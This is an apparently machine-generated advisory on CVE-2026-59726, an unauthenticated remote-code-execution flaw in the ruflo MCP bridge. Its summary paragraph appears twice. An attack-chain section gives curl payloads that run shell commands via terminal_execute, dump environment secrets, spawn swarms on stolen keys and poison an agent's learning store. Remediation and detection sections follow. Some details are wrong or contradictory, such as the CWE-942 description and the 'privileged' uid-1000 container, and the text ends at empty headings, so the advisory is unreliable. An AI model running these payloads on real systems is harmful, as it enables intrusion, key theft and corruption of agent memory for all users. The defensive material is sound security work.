CVE-2026-59726 — Ruflo — CWE-78 · CWE-306
The MCP bridge shipping in ruflo/docker-compose.yml exposed POST /mcp with no authentication. The docker-compose defaults bound the bridge and MongoDB to all interfaces. Combined, an unauthenticated network attacker could invoke tools/call → terminal_execute inside the bridge container, obtain a shell as node (uid 1000), read every provider API key from the container env, spawn attacker-controlled swarms on the victim's keys, and persist a poisoned pattern into the AgentDB learning store that steers future AI outputs for all users of the instance. The tool blocklist that mentions terminal_execute was enforced only in the autopilot flow. POST /mcp and POST /mcp/:group bypassed it. Fixed in ADR-166 Phase 1-3 (branch security/adr-166-mcp-bridge-rce, PR #2521): - Bind loopback by default; fail-closed on public-bind opt-in without MCP_AUTH_TOKEN - Bearer auth middleware (timingSafeEqual constant-time compare) - Server-side executeTool gate for terminal_execute (MCP_ENABLE_TERMINAL=true opt-in) - MongoDB --auth on by default; MONGO_INITDB_ROOT_PASSWORD required to boot - read_only container + tmpfs - CORS allowlist wiring - CI regression locks (static + runtime + compose defaults) Operators of any exposed instance MUST: 1. Firewall :3001 and :27017 immediately 2. Rotate OPENAI / GOOGLE / OPENROUTER / ANTHROPIC keys 3. Audit the AgentDB pattern store for injected agentdb_pattern-store entries; purge poisoned patterns. A patched redeploy alone does NOT undo poisoning. 4. Audit M
The MCP bridge shipping in ruflo/docker-compose.yml exposed POST /mcp with no authentication. The docker-compose defaults bound the bridge and MongoDB to all interfaces. Combined, an unauthenticated network attacker could invoke tools/call → terminal_execute inside the bridge container, obtain a shell as node (uid 1000), read every provider API key from the container env, spawn attacker-controlled swarms on the victim's keys, and persist a poisoned pattern into the AgentDB learning store that steers future AI outputs for all users of the instance. The tool blocklist that mentions terminal_execute was enforced only in the autopilot flow. POST /mcp and POST /mcp/:group bypassed it. Fixed in ADR-166 Phase 1-3 (branch security/adr-166-mcp-bridge-rce, PR #2521): - Bind loopback by default; fail-closed on public-bind opt-in without MCP_AUTH_TOKEN - Bearer auth middleware (timingSafeEqual constant-time compare) - Server-side executeTool gate for terminal_execute (MCP_ENABLE_TERMINAL=true opt-in) - MongoDB --auth on by default; MONGO_INITDB_ROOT_PASSWORD required to boot - read_only container + tmpfs - CORS allowlist wiring - CI regression locks (static + runtime + compose defaults) Operators of any exposed instance MUST: 1. Firewall :3001 and :27017 immediately 2. Rotate OPENAI / GOOGLE / OPENROUTER / ANTHROPIC keys 3. Audit the AgentDB pattern store for injected agentdb_pattern-store entries; purge poisoned patterns. A patched redeploy alone does NOT undo poisoning. 4. Audit M
🎯 What is this vulnerability?
CVE‑2026‑59726 is a remote code execution (RCE) flaw that exists in the MCP bridge component of the ruflo stack.
The bridge is exposed through a POST /mcp endpoint that accepts a JSON payload describing a tool to run inside the bridge container. The default docker‑compose.yml binds the bridge service (and the underlying MongoDB) to all network interfaces and, critically, the /mcp endpoint is unprotected – it has no authentication or authorization checks.
The flaw is a combination of:
| CWE | Description | How it manifests in ruflo |
|---|---|---|
| CWE‑306 – Missing Authentication | The /mcp endpoint accepts requests without any form of identity verification. | No bearer token or session cookie is required to hit the endpoint. |
| CWE‑78 – OS Command Injection | The bridge forwards a tool name and an arbitrary command string to a shell inside the container. | The terminal_execute tool is not gated by the server‑side blocklist in the exposed endpoint, so an attacker can inject any shell command. |
| CWE‑942 – Unrestricted File Upload / Remote Command Execution | The bridge accepts arbitrary commands and writes them to the container’s filesystem, effectively giving the attacker a shell. | The terminal_execute tool can be invoked with any command, and the bridge runs it as the container’s node user (UID 1000). |
Because the bridge runs as a privileged container, the attacker can:
1. Execute arbitrary shell commands (terminal_execute → id, env, etc.).
2. Read sensitive environment variables that contain provider API keys.
3. Spawn attacker‑controlled “swarms” by calling the same API that the bridge uses to launch AI agents, using the victim’s keys.
4. Persist malicious “poisoned” patterns into the AgentDB learning store, which will influence all future AI outputs for every user on the instance.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects that an unauthenticated network attacker can fully compromise confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow on a default ruflo deployment.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker looks for |
|---|---|---|
| 1.1 | Port scan | Identify open ports 3001 (MCP bridge) and 27017 (MongoDB). |
| 1.2 | Service fingerprint | Verify that port 3001 is running the ruflo MCP bridge (e.g., via banner or /health endpoint). |
| 1.3 | Docker‑compose inspection | If the attacker can read the docker‑compose.yml (e.g., via a mis‑configured web server or a public repo), confirm that the bridge and MongoDB are bound to 0.0.0.0. |
Illustrative example (nmap):
nmap -p 3001,27017 <target-ip>2. Exploitation
| Step | Action | Payload / Command |
|---|---|---|
| 2.1 | Send an unauthenticated POST to /mcp | ``bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"terminal_execute\",\"command\":\"id\"}'\n` |
| 2.2 | Verify shell execution | The response should contain the output of id, e.g., uid=1000(node) gid=1000(node) groups=1000(node). |
| 2.3 | Enumerate environment variables | `bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"terminal_execute\",\"command\":\"env\"}'\n` |
| 2.4 | Extract provider API keys | Look for variables such as OPENAI_API_KEY, GOOGLE_API_KEY, etc. |
| 2.5 | Spawn attacker‑controlled swarms | Use the same API that the bridge uses to launch AI agents, passing the extracted keys. Example (illustrative): `bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"spawn_swarms\",\"params\":{\"api_key\":\"<OPENAI_API_KEY>\",\"count\":10}}'\n` |
| 2.6 | Poison the AgentDB learning store | Inject a malicious pattern that will bias future AI outputs. Example (illustrative): `bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"add_pattern\",\"pattern\":{\"id\":\"poisoned\",\"content\":\"<malicious content>\"}}'\n`` |
Note: The exact JSON schema forspawn_swarmsoradd_patternis not specified in the CVE description. The above payloads are illustrative of the type of request that would be used to exploit the exposed endpoint.
3. Post‑Exploitation
| Step | Impact | How it is achieved |
|---|---|---|
| 3.1 | Full system compromise | The attacker now has a shell as the container’s node user (UID 1000), which has read/write access to the container’s filesystem and network. |
| 3.2 | Credential theft | API keys are extracted from environment variables and can be reused to access external services (OpenAI, Google, Anthropic, etc.). |
| 3.3 | Persistence | The attacker can modify the bridge’s configuration or the AgentDB store to maintain a foothold. |
| 3.4 | Data exfiltration | Any data accessible from the container (logs, configuration files, etc.) can be exfiltrated. |
| 3.5 | Denial of Service | By flooding the bridge with malicious swarm requests, the attacker can exhaust resources, causing service degradation or outage. |
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C) | Full disclosure of all provider API keys, internal configuration, and potentially user data stored in the AgentDB. |
| Integrity (I) | Ability to inject malicious AI patterns that will influence all future outputs, effectively tampering with the system’s core functionality. |
| Availability (A) | Resource exhaustion via swarm spawning or repeated RCE calls can degrade or crash the bridge service, and the exposed MongoDB can be tampered with or deleted. |
| Scope (S) | The vulnerability affects the entire ruflo stack (MCP bridge, MongoDB, and the AI learning store). |
In a production environment, an attacker could:
- Hijack all AI agents running on the instance.
- Steal and misuse API keys to incur costs on the victim’s cloud accounts.
- Spread malicious code or data across all users’ AI outputs.
- Cause prolonged downtime by exhausting compute resources.
🛡️ Remediation & Mitigation
Affected Versions
The vulnerability exists in all ruflo releases that ship the defaultdocker‑compose.yml with the MCP bridge bound to 0.0.0.0 and without authentication. The fix is merged in the security/adr‑166‑mcp‑bridge‑rce branch (PR #2521). Operators should upgrade to any release that contains this commit or apply the following manual changes.Patch Recommendation
1. Upgrade to the latest ruflo release that includes the security branchsecurity/adr‑166‑mcp‑bridge‑rce.
2. If an upgrade is not immediately possible, apply the following configuration changes:| Change | Effect |
|---|---|
Bind MCP bridge to 127.0.0.1 by default | Prevents external access unless explicitly configured. |
Require MCP_AUTH_TOKEN for public bind | Enforces bearer‑token authentication. |
Enable MCP_ENABLE_TERMINAL=false (default) | Disables the terminal_execute tool unless explicitly opted‑in. |
Enable MongoDB authentication (--auth) | Requires MONGO_INITDB_ROOT_PASSWORD at startup. |
Run bridge container as read‑only with tmpfs | Limits filesystem modifications. |
| Apply CORS allowlist | Restricts cross‑origin requests. |
Workarounds (if patching is delayed)
1. Firewall: Immediately block inbound traffic to ports 3001 (MCP bridge) and 27017 (MongoDB) from untrusted networks.
2. Disable the /mcp endpoint: If the application allows disabling the endpoint, do so until a patch is applied.
3. Set MCP_ENABLE_TERMINAL=false: Prevents the terminal_execute tool from being invoked.
4. Set MCP_AUTH_TOKEN: Even if the endpoint is left exposed, require a bearer token for all requests.
5. Enable MongoDB authentication: Set MONGO_INITDB_ROOT_PASSWORD and enforce --auth.
Detection
| Indicator | Log Pattern | What to look for |
|---|---|---|
Unauthenticated /mcp POST | POST /mcp | Any POST to /mcp without an Authorization header. |
terminal_execute usage | tool=terminal_execute | Requests that include the terminal_execute tool. |
| Unexpected commands | command= | Commands that are not part of the normal operational set (e.g., id, env, cat /proc/self/environ). |
| Pattern injection | add_pattern | Calls that add new patterns to the AgentDB. |
| MongoDB access from unknown IP | MongoDB connection | Connections to MongoDB from IPs not in the whitelist. |
Sample log snippet (illustrative):
2026-11-24T12:34:56Z INFO POST /mcp 200
2026-11-24T12:34:56Z DEBUG tool=terminal_execute command=id
2026-11-24T12:34:56Z DEBUG output=uid=1000(node) gid=1000(node) groups=1000(node)If such patterns appear, investigate immediately.
Audit Checklist
1. Firewall: Verify that ports 3001 and 27017 are blocked from external networks.
2. Key Rotation: Rotate all provider API keys (OpenAI, Google, Anthropic, OpenRouter).
3. AgentDB: Export the agentdb_pattern-store collection, search for suspicious or recently added patterns, and purge any that appear malicious.
4. MCP Configuration: Ensure MCP_AUTH_TOKEN is set and MCP_ENABLE_TERMINAL is disabled.
5. MongoDB: Confirm that authentication is enabled and that the root password is strong.
6. Container Runtime: Verify that the bridge container runs as read‑only and uses tmpfs.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query